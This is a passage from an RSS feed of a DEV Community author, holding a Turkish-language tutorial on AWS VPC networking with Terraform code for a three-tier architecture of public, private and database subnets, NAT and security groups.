<?xml version="1.0" encoding="UTF-8"?>
<rss version="2.0" xmlns:atom="http://www.w3.org/2005/Atom" xmlns:dc="http://purl.org/dc/elements/1.1/">
  <channel>
    <title>DEV Community: Taha Yağız Güler</title>
    <description>The latest articles on DEV Community by Taha Yağız Güler (@tahayagizguler).</description>
    <link>https://dev.to/tahayagizguler</link>
    <image>
      <url>https://media2.dev.to/dynamic/image/width=90,height=90,fit=cover,gravity=auto,format=auto/https:%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Fuser%2Fprofile_image%2F952125%2Ffaa47bfc-be25-4e2b-abe3-737a4fc38024.jpeg</url>
      <title>DEV Community: Taha Yağız Güler</title>
      <link>https://dev.to/tahayagizguler</link>
    </image>
    <atom:link rel="self" type="application/rss+xml" href="https://dev.to/feed/tahayagizguler"/>
    <language>en</language>
    <item>
      <title>AWS VPC Networking — Public Subnet, Private Subnet ve 3-Tier Mimari</title>
      <dc:creator>Taha Yağız Güler</dc:creator>
      <pubDate>Sat, 30 May 2026 14:17:51 +0000</pubDate>
      <link>https://dev.to/tahayagizguler/aws-vpc-networking-public-subnet-private-subnet-ve-3-tier-mimari-1p7g</link>
      <guid>https://dev.to/tahayagizguler/aws-vpc-networking-public-subnet-private-subnet-ve-3-tier-mimari-1p7g</guid>
      <description>&lt;h2&gt;
  
  
  Temel Kavramlar
&lt;/h2&gt;

&lt;h3&gt;
  
  
  CIDR — IP Adresi Aralığı
&lt;/h3&gt;



&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;10.0.0.0/16 → 65,536 IP adresi  (VPC için)
10.0.1.0/24 → 256 IP adresi     (subnet için)
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;VPC CIDR'ı subnet'leri kapsamalı — &lt;code&gt;10.0.0.0/16&lt;/code&gt; VPC'nin içinde &lt;code&gt;10.0.1.0/24&lt;/code&gt; subnet açılabilir.&lt;/p&gt;

&lt;h3&gt;
  
  
  Route Table — Trafik Yönlendirme
&lt;/h3&gt;

&lt;p&gt;Subnet'e gelen trafiğin nereye gideceğini söyler. &lt;strong&gt;Public ve private subnet'in tek teknik farkı burada:&lt;/strong&gt;&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight conf"&gt;&lt;code&gt;&lt;span class="n"&gt;Public&lt;/span&gt; &lt;span class="n"&gt;subnet&lt;/span&gt; &lt;span class="n"&gt;route&lt;/span&gt; &lt;span class="n"&gt;table&lt;/span&gt;:
  &lt;span class="m"&gt;10&lt;/span&gt;.&lt;span class="m"&gt;0&lt;/span&gt;.&lt;span class="m"&gt;0&lt;/span&gt;.&lt;span class="m"&gt;0&lt;/span&gt;/&lt;span class="m"&gt;16&lt;/span&gt; → &lt;span class="n"&gt;local&lt;/span&gt;   (&lt;span class="n"&gt;VPC&lt;/span&gt; &lt;span class="n"&gt;i&lt;/span&gt;ç&lt;span class="n"&gt;i&lt;/span&gt;)
  &lt;span class="m"&gt;0&lt;/span&gt;.&lt;span class="m"&gt;0&lt;/span&gt;.&lt;span class="m"&gt;0&lt;/span&gt;.&lt;span class="m"&gt;0&lt;/span&gt;/&lt;span class="m"&gt;0&lt;/span&gt;   → &lt;span class="n"&gt;IGW&lt;/span&gt;     (&lt;span class="n"&gt;internete&lt;/span&gt; çı&lt;span class="n"&gt;k&lt;/span&gt;)

&lt;span class="n"&gt;Private&lt;/span&gt; &lt;span class="n"&gt;subnet&lt;/span&gt; &lt;span class="n"&gt;route&lt;/span&gt; &lt;span class="n"&gt;table&lt;/span&gt;:
  &lt;span class="m"&gt;10&lt;/span&gt;.&lt;span class="m"&gt;0&lt;/span&gt;.&lt;span class="m"&gt;0&lt;/span&gt;.&lt;span class="m"&gt;0&lt;/span&gt;/&lt;span class="m"&gt;16&lt;/span&gt; → &lt;span class="n"&gt;local&lt;/span&gt;   (&lt;span class="n"&gt;VPC&lt;/span&gt; &lt;span class="n"&gt;i&lt;/span&gt;ç&lt;span class="n"&gt;i&lt;/span&gt;)
  &lt;span class="m"&gt;0&lt;/span&gt;.&lt;span class="m"&gt;0&lt;/span&gt;.&lt;span class="m"&gt;0&lt;/span&gt;.&lt;span class="m"&gt;0&lt;/span&gt;/&lt;span class="m"&gt;0&lt;/span&gt;   → &lt;span class="n"&gt;NAT&lt;/span&gt;     (&lt;span class="n"&gt;NAT&lt;/span&gt; ü&lt;span class="n"&gt;zerinden&lt;/span&gt; &lt;span class="n"&gt;d&lt;/span&gt;ış&lt;span class="n"&gt;a&lt;/span&gt; çı&lt;span class="n"&gt;k&lt;/span&gt;)

&lt;span class="n"&gt;DB&lt;/span&gt; &lt;span class="n"&gt;subnet&lt;/span&gt; &lt;span class="n"&gt;route&lt;/span&gt; &lt;span class="n"&gt;table&lt;/span&gt;:
  &lt;span class="m"&gt;10&lt;/span&gt;.&lt;span class="m"&gt;0&lt;/span&gt;.&lt;span class="m"&gt;0&lt;/span&gt;.&lt;span class="m"&gt;0&lt;/span&gt;/&lt;span class="m"&gt;16&lt;/span&gt; → &lt;span class="n"&gt;local&lt;/span&gt;   (&lt;span class="n"&gt;sadece&lt;/span&gt; &lt;span class="n"&gt;VPC&lt;/span&gt; &lt;span class="n"&gt;i&lt;/span&gt;ç&lt;span class="n"&gt;i&lt;/span&gt; — &lt;span class="n"&gt;internet&lt;/span&gt; &lt;span class="n"&gt;yok&lt;/span&gt;)
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;h3&gt;
  
  
  IGW vs NAT Gateway
&lt;/h3&gt;

&lt;p&gt;&lt;strong&gt;Internet Gateway:&lt;/strong&gt; İki yönlü kapı. Dışarıdan içeri, içeriden dışarı trafik geçer. Public subnet'teki kaynaklar public IP alır, doğrudan internete açılır.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;NAT Gateway:&lt;/strong&gt; Tek yönlü kapı. Sadece içeriden dışarıya. Private subnet'teki EC2 &lt;code&gt;dnf update&lt;/code&gt; yapmak için NAT üzerinden çıkar ama dışarıdan bu EC2'ya doğrudan erişilemez.&lt;/p&gt;




&lt;h2&gt;
  
  
  Kurduğumuz Mimari
&lt;/h2&gt;



&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;İnternet
    ↓
Internet Gateway
    ↓
┌─────────────────────────────────────┐
│ Public Subnet (AZ-a + AZ-b)         │
│ ALB + NAT Gateway                   │
│ Route: 0.0.0.0/0 → IGW              │
└─────────────────────────────────────┘
    ↓
┌─────────────────────────────────────┐
│ Private Subnet (AZ-a + AZ-b)        │
│ EC2 — Uygulama Sunucusu             │
│ Route: 0.0.0.0/0 → NAT             │
└─────────────────────────────────────┘
    ↓
┌─────────────────────────────────────┐
│ DB Subnet (AZ-a + AZ-b)             │
│ RDS — PostgreSQL                    │
│ Route: sadece local (internet yok)  │
└─────────────────────────────────────┘
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Her katmanda 2 AZ — biri düşerse diğeri devam eder.&lt;/p&gt;




&lt;h2&gt;
  
  
  Terraform ile VPC Kurulumu
&lt;/h2&gt;

&lt;h3&gt;
  
  
  VPC ve Subnet'ler
&lt;/h3&gt;



&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight hcl"&gt;&lt;code&gt;&lt;span class="nx"&gt;resource&lt;/span&gt; &lt;span class="s2"&gt;"aws_vpc"&lt;/span&gt; &lt;span class="s2"&gt;"main"&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
  &lt;span class="nx"&gt;cidr_block&lt;/span&gt;           &lt;span class="p"&gt;=&lt;/span&gt; &lt;span class="s2"&gt;"10.0.0.0/16"&lt;/span&gt;
  &lt;span class="nx"&gt;enable_dns_hostnames&lt;/span&gt; &lt;span class="p"&gt;=&lt;/span&gt; &lt;span class="kc"&gt;true&lt;/span&gt;
  &lt;span class="nx"&gt;enable_dns_support&lt;/span&gt;   &lt;span class="p"&gt;=&lt;/span&gt; &lt;span class="kc"&gt;true&lt;/span&gt;

  &lt;span class="nx"&gt;tags&lt;/span&gt; &lt;span class="p"&gt;=&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt; &lt;span class="nx"&gt;Name&lt;/span&gt; &lt;span class="p"&gt;=&lt;/span&gt; &lt;span class="s2"&gt;"${var.environment}-vpc"&lt;/span&gt; &lt;span class="p"&gt;}&lt;/span&gt;
&lt;span class="p"&gt;}&lt;/span&gt;

&lt;span class="c1"&gt;# Public Subnet — 2 AZ&lt;/span&gt;
&lt;span class="nx"&gt;resource&lt;/span&gt; &lt;span class="s2"&gt;"aws_subnet"&lt;/span&gt; &lt;span class="s2"&gt;"public"&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
  &lt;span class="nx"&gt;count&lt;/span&gt;             &lt;span class="p"&gt;=&lt;/span&gt; &lt;span class="nx"&gt;length&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nx"&gt;var&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;azs&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
  &lt;span class="nx"&gt;vpc_id&lt;/span&gt;            &lt;span class="p"&gt;=&lt;/span&gt; &lt;span class="nx"&gt;aws_vpc&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;main&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;id&lt;/span&gt;
  &lt;span class="nx"&gt;cidr_block&lt;/span&gt;        &lt;span class="p"&gt;=&lt;/span&gt; &lt;span class="nx"&gt;cidrsubnet&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nx"&gt;var&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;vpc_cidr&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="mi"&gt;8&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="nx"&gt;count&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;index&lt;/span&gt; &lt;span class="err"&gt;+&lt;/span&gt; &lt;span class="mi"&gt;1&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
  &lt;span class="nx"&gt;availability_zone&lt;/span&gt; &lt;span class="p"&gt;=&lt;/span&gt; &lt;span class="nx"&gt;var&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;azs&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="nx"&gt;count&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;index&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt;
  &lt;span class="nx"&gt;map_public_ip_on_launch&lt;/span&gt; &lt;span class="p"&gt;=&lt;/span&gt; &lt;span class="kc"&gt;true&lt;/span&gt;

  &lt;span class="nx"&gt;tags&lt;/span&gt; &lt;span class="p"&gt;=&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
    &lt;span class="nx"&gt;Name&lt;/span&gt; &lt;span class="p"&gt;=&lt;/span&gt; &lt;span class="s2"&gt;"${var.environment}-public-${var.azs[count.index]}"&lt;/span&gt;
    &lt;span class="nx"&gt;Tier&lt;/span&gt; &lt;span class="p"&gt;=&lt;/span&gt; &lt;span class="s2"&gt;"public"&lt;/span&gt;
  &lt;span class="p"&gt;}&lt;/span&gt;
&lt;span class="p"&gt;}&lt;/span&gt;

&lt;span class="c1"&gt;# Private Subnet — 2 AZ&lt;/span&gt;
&lt;span class="nx"&gt;resource&lt;/span&gt; &lt;span class="s2"&gt;"aws_subnet"&lt;/span&gt; &lt;span class="s2"&gt;"private"&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
  &lt;span class="nx"&gt;count&lt;/span&gt;             &lt;span class="p"&gt;=&lt;/span&gt; &lt;span class="nx"&gt;length&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nx"&gt;var&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;azs&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
  &lt;span class="nx"&gt;vpc_id&lt;/span&gt;            &lt;span class="p"&gt;=&lt;/span&gt; &lt;span class="nx"&gt;aws_vpc&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;main&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;id&lt;/span&gt;
  &lt;span class="nx"&gt;cidr_block&lt;/span&gt;        &lt;span class="p"&gt;=&lt;/span&gt; &lt;span class="nx"&gt;cidrsubnet&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nx"&gt;var&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;vpc_cidr&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="mi"&gt;8&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="nx"&gt;count&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;index&lt;/span&gt; &lt;span class="err"&gt;+&lt;/span&gt; &lt;span class="mi"&gt;3&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
  &lt;span class="nx"&gt;availability_zone&lt;/span&gt; &lt;span class="p"&gt;=&lt;/span&gt; &lt;span class="nx"&gt;var&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;azs&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="nx"&gt;count&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;index&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt;

  &lt;span class="nx"&gt;tags&lt;/span&gt; &lt;span class="p"&gt;=&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
    &lt;span class="nx"&gt;Name&lt;/span&gt; &lt;span class="p"&gt;=&lt;/span&gt; &lt;span class="s2"&gt;"${var.environment}-private-${var.azs[count.index]}"&lt;/span&gt;
    &lt;span class="nx"&gt;Tier&lt;/span&gt; &lt;span class="p"&gt;=&lt;/span&gt; &lt;span class="s2"&gt;"private"&lt;/span&gt;
  &lt;span class="p"&gt;}&lt;/span&gt;
&lt;span class="p"&gt;}&lt;/span&gt;

&lt;span class="c1"&gt;# DB Subnet — 2 AZ&lt;/span&gt;
&lt;span class="nx"&gt;resource&lt;/span&gt; &lt;span class="s2"&gt;"aws_subnet"&lt;/span&gt; &lt;span class="s2"&gt;"db"&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
  &lt;span class="nx"&gt;count&lt;/span&gt;             &lt;span class="p"&gt;=&lt;/span&gt; &lt;span class="nx"&gt;length&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nx"&gt;var&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;azs&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
  &lt;span class="nx"&gt;vpc_id&lt;/span&gt;            &lt;span class="p"&gt;=&lt;/span&gt; &lt;span class="nx"&gt;aws_vpc&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;main&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;id&lt;/span&gt;
  &lt;span class="nx"&gt;cidr_block&lt;/span&gt;        &lt;span class="p"&gt;=&lt;/span&gt; &lt;span class="nx"&gt;cidrsubnet&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nx"&gt;var&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;vpc_cidr&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="mi"&gt;8&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="nx"&gt;count&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;index&lt;/span&gt; &lt;span class="err"&gt;+&lt;/span&gt; &lt;span class="mi"&gt;5&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
  &lt;span class="nx"&gt;availability_zone&lt;/span&gt; &lt;span class="p"&gt;=&lt;/span&gt; &lt;span class="nx"&gt;var&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;azs&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="nx"&gt;count&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;index&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt;

  &lt;span class="nx"&gt;tags&lt;/span&gt; &lt;span class="p"&gt;=&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
    &lt;span class="nx"&gt;Name&lt;/span&gt; &lt;span class="p"&gt;=&lt;/span&gt; &lt;span class="s2"&gt;"${var.environment}-db-${var.azs[count.index]}"&lt;/span&gt;
    &lt;span class="nx"&gt;Tier&lt;/span&gt; &lt;span class="p"&gt;=&lt;/span&gt; &lt;span class="s2"&gt;"db"&lt;/span&gt;
  &lt;span class="p"&gt;}&lt;/span&gt;
&lt;span class="p"&gt;}&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;&lt;code&gt;cidrsubnet(var.vpc_cidr, 8, count.index + 1)&lt;/code&gt; otomatik CIDR hesaplıyor:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;public: &lt;code&gt;10.0.1.0/24&lt;/code&gt;, &lt;code&gt;10.0.2.0/24&lt;/code&gt;
&lt;/li&gt;
&lt;li&gt;private: &lt;code&gt;10.0.3.0/24&lt;/code&gt;, &lt;code&gt;10.0.4.0/24&lt;/code&gt;
&lt;/li&gt;
&lt;li&gt;db: &lt;code&gt;10.0.5.0/24&lt;/code&gt;, &lt;code&gt;10.0.6.0/24&lt;/code&gt;
&lt;/li&gt;
&lt;/ul&gt;

&lt;h3&gt;
  
  
  IGW, NAT ve Route Table'lar
&lt;/h3&gt;



&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight hcl"&gt;&lt;code&gt;&lt;span class="nx"&gt;resource&lt;/span&gt; &lt;span class="s2"&gt;"aws_internet_gateway"&lt;/span&gt; &lt;span class="s2"&gt;"main"&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
  &lt;span class="nx"&gt;vpc_id&lt;/span&gt; &lt;span class="p"&gt;=&lt;/span&gt; &lt;span class="nx"&gt;aws_vpc&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;main&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;id&lt;/span&gt;
&lt;span class="p"&gt;}&lt;/span&gt;

&lt;span class="nx"&gt;resource&lt;/span&gt; &lt;span class="s2"&gt;"aws_eip"&lt;/span&gt; &lt;span class="s2"&gt;"nat"&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
  &lt;span class="nx"&gt;domain&lt;/span&gt; &lt;span class="p"&gt;=&lt;/span&gt; &lt;span class="s2"&gt;"vpc"&lt;/span&gt;
&lt;span class="p"&gt;}&lt;/span&gt;

&lt;span class="nx"&gt;resource&lt;/span&gt; &lt;span class="s2"&gt;"aws_nat_gateway"&lt;/span&gt; &lt;span class="s2"&gt;"main"&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
  &lt;span class="nx"&gt;allocation_id&lt;/span&gt; &lt;span class="p"&gt;=&lt;/span&gt; &lt;span class="nx"&gt;aws_eip&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;nat&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;id&lt;/span&gt;
  &lt;span class="nx"&gt;subnet_id&lt;/span&gt;     &lt;span class="p"&gt;=&lt;/span&gt; &lt;span class="nx"&gt;aws_subnet&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;public&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="mi"&gt;0&lt;/span&gt;&lt;span class="p"&gt;].&lt;/span&gt;&lt;span class="nx"&gt;id&lt;/span&gt;  &lt;span class="c1"&gt;# NAT public subnet'te olmalı&lt;/span&gt;
  &lt;span class="nx"&gt;depends_on&lt;/span&gt;    &lt;span class="p"&gt;=&lt;/span&gt; &lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="nx"&gt;aws_internet_gateway&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;main&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt;
&lt;span class="p"&gt;}&lt;/span&gt;

&lt;span class="c1"&gt;# Public route table — IGW üzerinden internete&lt;/span&gt;
&lt;span class="nx"&gt;resource&lt;/span&gt; &lt;span class="s2"&gt;"aws_route_table"&lt;/span&gt; &lt;span class="s2"&gt;"public"&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
  &lt;span class="nx"&gt;vpc_id&lt;/span&gt; &lt;span class="p"&gt;=&lt;/span&gt; &lt;span class="nx"&gt;aws_vpc&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;main&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;id&lt;/span&gt;
  &lt;span class="nx"&gt;route&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
    &lt;span class="nx"&gt;cidr_block&lt;/span&gt; &lt;span class="p"&gt;=&lt;/span&gt; &lt;span class="s2"&gt;"0.0.0.0/0"&lt;/span&gt;
    &lt;span class="nx"&gt;gateway_id&lt;/span&gt; &lt;span class="p"&gt;=&lt;/span&gt; &lt;span class="nx"&gt;aws_internet_gateway&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;main&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;id&lt;/span&gt;
  &lt;span class="p"&gt;}&lt;/span&gt;
&lt;span class="p"&gt;}&lt;/span&gt;

&lt;span class="c1"&gt;# Private route table — NAT üzerinden dışa&lt;/span&gt;
&lt;span class="nx"&gt;resource&lt;/span&gt; &lt;span class="s2"&gt;"aws_route_table"&lt;/span&gt; &lt;span class="s2"&gt;"private"&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
  &lt;span class="nx"&gt;vpc_id&lt;/span&gt; &lt;span class="p"&gt;=&lt;/span&gt; &lt;span class="nx"&gt;aws_vpc&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;main&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;id&lt;/span&gt;
  &lt;span class="nx"&gt;route&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
    &lt;span class="nx"&gt;cidr_block&lt;/span&gt;     &lt;span class="p"&gt;=&lt;/span&gt; &lt;span class="s2"&gt;"0.0.0.0/0"&lt;/span&gt;
    &lt;span class="nx"&gt;nat_gateway_id&lt;/span&gt; &lt;span class="p"&gt;=&lt;/span&gt; &lt;span class="nx"&gt;aws_nat_gateway&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;main&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;id&lt;/span&gt;
  &lt;span class="p"&gt;}&lt;/span&gt;
&lt;span class="p"&gt;}&lt;/span&gt;

&lt;span class="c1"&gt;# DB route table — internet yok&lt;/span&gt;
&lt;span class="nx"&gt;resource&lt;/span&gt; &lt;span class="s2"&gt;"aws_route_table"&lt;/span&gt; &lt;span class="s2"&gt;"db"&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
  &lt;span class="nx"&gt;vpc_id&lt;/span&gt; &lt;span class="p"&gt;=&lt;/span&gt; &lt;span class="nx"&gt;aws_vpc&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;main&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;id&lt;/span&gt;
  &lt;span class="c1"&gt;# 0.0.0.0/0 route yok&lt;/span&gt;
&lt;span class="p"&gt;}&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;






&lt;h2&gt;
  
  
  Security Group Tasarımı
&lt;/h2&gt;

&lt;p&gt;En kritik nokta: IP aralığı değil, SG referansı kullan.&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight hcl"&gt;&lt;code&gt;&lt;span class="c1"&gt;# ALB SG — internetten 80/443&lt;/span&gt;
&lt;span class="nx"&gt;resource&lt;/span&gt; &lt;span class="s2"&gt;"aws_security_group"&lt;/span&gt; &lt;span class="s2"&gt;"alb"&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
  &lt;span class="nx"&gt;ingress&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
    &lt;span class="nx"&gt;from_port&lt;/span&gt;   &lt;span class="p"&gt;=&lt;/span&gt; &lt;span class="mi"&gt;80&lt;/span&gt;
    &lt;span class="nx"&gt;to_port&lt;/span&gt;     &lt;span class="p"&gt;=&lt;/span&gt; &lt;span class="mi"&gt;80&lt;/span&gt;
    &lt;span class="nx"&gt;protocol&lt;/span&gt;    &lt;span class="p"&gt;=&lt;/span&gt; &lt;span class="s2"&gt;"tcp"&lt;/span&gt;
    &lt;span class="nx"&gt;cidr_blocks&lt;/span&gt; &lt;span class="p"&gt;=&lt;/span&gt; &lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="s2"&gt;"0.0.0.0/0"&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt;
  &lt;span class="p"&gt;}&lt;/span&gt;
&lt;span class="p"&gt;}&lt;/span&gt;

&lt;span class="c1"&gt;# App SG — sadece ALB SG'den trafik alır&lt;/span&gt;
&lt;span class="nx"&gt;resource&lt;/span&gt; &lt;span class="s2"&gt;"aws_security_group"&lt;/span&gt; &lt;span class="s2"&gt;"app"&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
  &lt;span class="nx"&gt;ingress&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
    &lt;span class="nx"&gt;from_port&lt;/span&gt;       &lt;span class="p"&gt;=&lt;/span&gt; &lt;span class="mi"&gt;8080&lt;/span&gt;
    &lt;span class="nx"&gt;to_port&lt;/span&gt;         &lt;span class="p"&gt;=&lt;/span&gt; &lt;span class="mi"&gt;8080&lt;/span&gt;
    &lt;span class="nx"&gt;protocol&lt;/span&gt;        &lt;span class="p"&gt;=&lt;/span&gt; &lt;span class="s2"&gt;"tcp"&lt;/span&gt;
    &lt;span class="nx"&gt;security_groups&lt;/span&gt; &lt;span class="p"&gt;=&lt;/span&gt; &lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="nx"&gt;aws_security_group&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;alb&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;id&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt;
    &lt;span class="c1"&gt;# IP değil SG referansı — ALB IP'si değişse bile kural geçerli&lt;/span&gt;
  &lt;span class="p"&gt;}&lt;/span&gt;
&lt;span class="p"&gt;}&lt;/span&gt;

&lt;span class="c1"&gt;# RDS SG — sadece App SG'den trafik alır&lt;/span&gt;
&lt;span class="nx"&gt;resource&lt;/span&gt; &lt;span class="s2"&gt;"aws_security_group"&lt;/span&gt; &lt;span class="s2"&gt;"rds"&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
  &lt;span class="nx"&gt;ingress&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
    &lt;span class="nx"&gt;from_port&lt;/span&gt;       &lt;span class="p"&gt;=&lt;/span&gt; &lt;span class="mi"&gt;5432&lt;/span&gt;
    &lt;span class="nx"&gt;to_port&lt;/span&gt;         &lt;span class="p"&gt;=&lt;/span&gt; &lt;span class="mi"&gt;5432&lt;/span&gt;
    &lt;span class="nx"&gt;protocol&lt;/span&gt;        &lt;span class="p"&gt;=&lt;/span&gt; &lt;span class="s2"&gt;"tcp"&lt;/span&gt;
    &lt;span class="nx"&gt;security_groups&lt;/span&gt; &lt;span class="p"&gt;=&lt;/span&gt; &lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="nx"&gt;aws_security_group&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;app&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;id&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt;
  &lt;span class="p"&gt;}&lt;/span&gt;
&lt;span class="p"&gt;}&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Bu zincir şunu sağlıyor:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;İnternet → ALB (port 80)&lt;/li&gt;
&lt;li&gt;ALB → EC2 (port 8080)&lt;/li&gt;
